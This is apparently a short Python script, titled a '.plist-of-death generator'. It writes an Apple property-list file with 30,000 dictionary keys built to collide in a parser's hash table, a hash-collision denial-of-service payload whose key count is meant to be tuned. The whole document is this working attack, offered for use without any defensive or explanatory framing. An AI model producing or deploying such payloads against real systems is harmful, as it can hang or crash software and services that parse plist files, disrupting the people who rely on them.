.plist-of-death generator

plistgen.py

# .plist-of-death generator

import base64
import os

# Adjust this to your taste:
NKEYS = 30000

def colliding_string():
    return "a"*32 + base64.b64encode(os.urandom(10))[:14] + "a"*82

def item(n):
    return "<key>" + colliding_string() + "</key>\n\t<string>" + str(n) + "</string>\n"

print("""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>""")

for n in range(NKEYS):
    print(item(n))

print("""
</dict>
</plist>
""")